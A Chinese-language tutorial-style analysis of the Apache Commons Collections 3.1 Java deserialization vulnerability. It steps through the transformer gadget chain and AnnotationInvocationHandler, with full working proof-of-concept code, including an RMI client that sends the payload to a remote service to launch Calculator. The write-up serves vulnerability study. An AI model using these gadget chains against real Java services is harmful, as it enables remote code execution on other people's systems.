Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析


环境搭建

组件下载:
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

Idea 新建项目->选择jdk7—>选择File > project structure > Modules > dependencies > + JARS or directories ->加载下载的组件

漏洞复现

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class EvalObject {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}

-w1299

漏洞分析

step1

漏洞点在/commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/InvokerTransformer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class InvokerTransformer implements Transformer, Serializable {
//105行
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

通过实现/commons-collections-3.1-sources.jar!/org/apache/commons/collections/Transformer.java Transformer接口,InvokerTransformer构造方法在实例化的时候传入参数函数方法名以及参数名,transform方法使用java反射机制得以调用任意方法。
Transformer接口:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

Java反射机制即参数传入一个对象,然后通过getClassgetMethod等方法去获取其所属的类、所拥有的对象。

在Java中一切皆对象,调用系统命令的代码通常为:

1
Runtime.getRuntime().exec("open -a Calculator");

可以通过构造这段代码实现命令执行:

1
2
3
4
5
6
7
8
public class EvalObject {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"});
invokerTransformer.transform(Runtime.getRuntime());
}
}

但是我们知道反序列化后一般只需要执行readObject函数即可,如果直接序列化invokerTransformer对象,那么readObject之后的对象还需要主动调用transform(Runtime.getRuntime())函数才能得以命令执行,显然是不太现实的。
demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.*;
import java.lang.Runtime;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test2 {

public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{ String.class}, new Object[] {"open -a Calculator"});
serialize(invokerTransformer);
// 反序列化完了还得调对象的transform方法
InvokerTransformer obj = (InvokerTransformer) unserialize();
obj.transform(Runtime.getRuntime());
}

public static void serialize(InvokerTransformer obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static Object unserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
return is.readObject();
}catch (Exception e){
e.printStackTrace();
}
return null;

}
}

-w1293

step2: 反射链构造

这意味着Runtime.getRuntime()的调用也需要我们通过反射来进行调用,而InvokerTransformertansform函数一次只能进行一次反射,这就需要我们构造一个反射链,最终调用exec函数进行命令执行。

/commons-collections-3.1-sources.jar!/org/apache/commons/collections/functors/ChainedTransformer.java 中提供了我们构造一个函数对象调用链的一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ChainedTransformer implements Transformer, Serializable {
// 109行
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}

ChainedTransformer方法传递一个数组,在transform方法里遍历调用其transform方法,并将返回的结果作为下一次transform函数的参数。

此时可以构造出这样一个poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package test2;

import java.io.*;
import java.lang.Runtime;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;

public class test2 {

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
serialize(transformerChain);
// 通过进一步构造反射链,这里的transform传递一个空参数即可。
Transformer transformer = (Transformer) unserialize();
transformer.transform("");
}

public static void serialize(Transformer obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
}catch (Exception e){
e.printStackTrace();
}
}
public static Object unserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
return is.readObject();
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

-w1246

Transformer数组的第一个元素中用到了ConstantTransformer类:

1
2
3
4
5
6
7
8
9
10
11
public class ConstantTransformer implements Transformer, Serializable {
// 64行
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}
}

通过初始化对象传入Runtime.class类作为参数,然后在ChainedTransformer类遍历数组调用其 ConstantTransformertransform方法返回Runtime类。

transformer.transform("");下断点跟进:
-w1057

遍历数组,第一次进入ConstantTransformertransform函数:
-w1286

ConstantTransformertransform返回在实例化时传入的Runtime类:
-w1030

第二次循环,将第一次返回的Runtime类作为参数,带入第二次InvokerTransformer类的transform函数参数中:
-w1098
这里通过java反射机制,从Runtime类找到其getRuntime方法,返回Runtime.getRuntime()方法,作为下次循环的参数。
-w1150

第三次循环再次通过InvokerTransformer类的transform方法,通过反射调用invoke方法,真正的执行getRuntime函数并返回Runtime实例
-w1227

在第四轮中我们可以看到object参数变成了Runtime对象,并且通过反射调用exec函数来进行命令执行:
-w1233
最后执行命令:
-w1251

step3:寻找自动触发transform

在step2的poc中我们可以看到,反序列化之后其实还有一个对对象进行transform函数的调用,虽然此时已经通过反射链解决了Runtime.getRuntime()的参数传入问题,但是仍然需要我们调用transform函数。

1
2
Transformer transformer = (Transformer) unserialize();
transformer.transform("");

这样的条件在实际环境中是难以利用的,我们希望的是仅调用readObject函数就能够触发漏洞,即需要寻找一个有被重写的readObject函数,而其中的流程能够触发transform函数(可以直接搜索这两个关键字寻找)。

/org/apache/commons/collections/map/TransformedMap.java中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//65行
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
//87行
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
//137行
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
//183行
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

通过TransformedMap函数设置成员变量,通过调用put函数,触发transformValue函数的valueTransformer.transform(object)调用。
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChain
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("value", "value");
}

-w1270

虽然找到了一个能自动调用transform的过程,但是要实现反序列化命令执行,还需要有对map的操作。这里还有另外一处也有调用transform方法的功能:

1
2
3
4
// 168行
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

在其父类/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java中实现了一个静态类的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 180行
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value); // 调用点
return entry.setValue(value);
}
}

这里用了java类的嵌套,和php语言特性有点区别:https://blog.csdn.net/hguisu/article/details/7270086

step3: 寻找重写readObject

在jdk小于等于1.7的时,/sun/reflect/annotation/AnnotationInvocationHandler.class中的readObject中有对map的修改功能。
-w1052

这里便于分析,用jd-gui将其jar包逆向:
/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/rt.jar
-w1435
这里readObject方法,使用了entry.setValue方法。

在构造方法中,我们可以看到其将实例化传入的参数设为其成员变量this.memberValues,接着在反序列化的时候,通过对readObject的调用,触发MapEntrysetValue方法。
-w945

最后poc用了java反射去实例化创建对象,构造出一个完整的攻击链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;


public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app/"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "2"); // 满足/org/apache/commons/collections/map/AbstractMapDecorator.java的null判断,但是不知道为什么键名一定要是value,调了很多次还是没解决,求解

Map transformedmap = TransformedMap.decorate(map, null, transformerChain);

// 加载类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 实例化
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class); // 获取指定的构造方法
cons.setAccessible(true); //为反射对象设置可访问标志
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

// 序列化
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}

-w1125

流程:参考seebug的一张图
-w1295

远程利用实现

先学习几个概念:

  • RMI(Remote Method Invocation)是一种基于序列化Java远程方法调用机制,作为一个常见的反序列化入口,和反序列化漏洞有密切联系。利用这种机制可以让某台服务器上的对象在调用另外一台服务器上的方法时,和在本地机上对象间的方法调用的语法规则一样。
  • JNDI(Java Naming and Directory Interface),Java 命名与目录接口(JNDI是注册表可以包含很多的RMI,客户端调用RMI记录的时候会先去JNDI这个本子,然后从本子上找相应的RMI记录)
    (还有很多概念,先挖坑)

RMI服务端实现

构造一个User接口:User.java

1
2
3
4
5
6
7
8
9
10
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote{
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}

实现User接口:UserImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User{

public UserImpl() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
@Override
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}

实现Server端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class UserServer {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.43.112:4396/User";
User user = new UserImpl();
LocateRegistry.createRegistry(4396);
Naming.bind(url,user);
System.out.println("the rmi is running :" + url);
}
}

运行监听:
-w993

客户端UserClient:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class UserClient {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.43.112:4396/User";
User userClient = (User)Naming.lookup(url);

System.out.println(userClient.name("test"));
userClient.say("world");
userClient.dowork(getpayload());
}

public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}

-w1214

最后

最后的transform函数调用使用了jdk1.7底层jar包,所以在不同的jdk版本利用链有所差异(挖坑),同时这个漏洞的关键在于/org/apache/commons/collections/functors/InvokerTransformer.java可以通过反射调用任意函数,官方发布的新版本中增加了对相关反射调用的限制,同时对这些不安全的Java类的序列化支持增加了开关(也就是黑名单)。

java项目因为其可以加载很多依赖jar包,导致其反序列化可以寻找的攻击范围很广,从依赖扩展到jdk库,这也是java比php反序列化难的地方。

此外,简单学习了一些java语法后就开始分析漏洞,很多java语法特性以及概念不太熟悉,比如反射、嵌套类、JMX、JNDI等等,接下来打算好好弥补一下这方面的短板。

参考: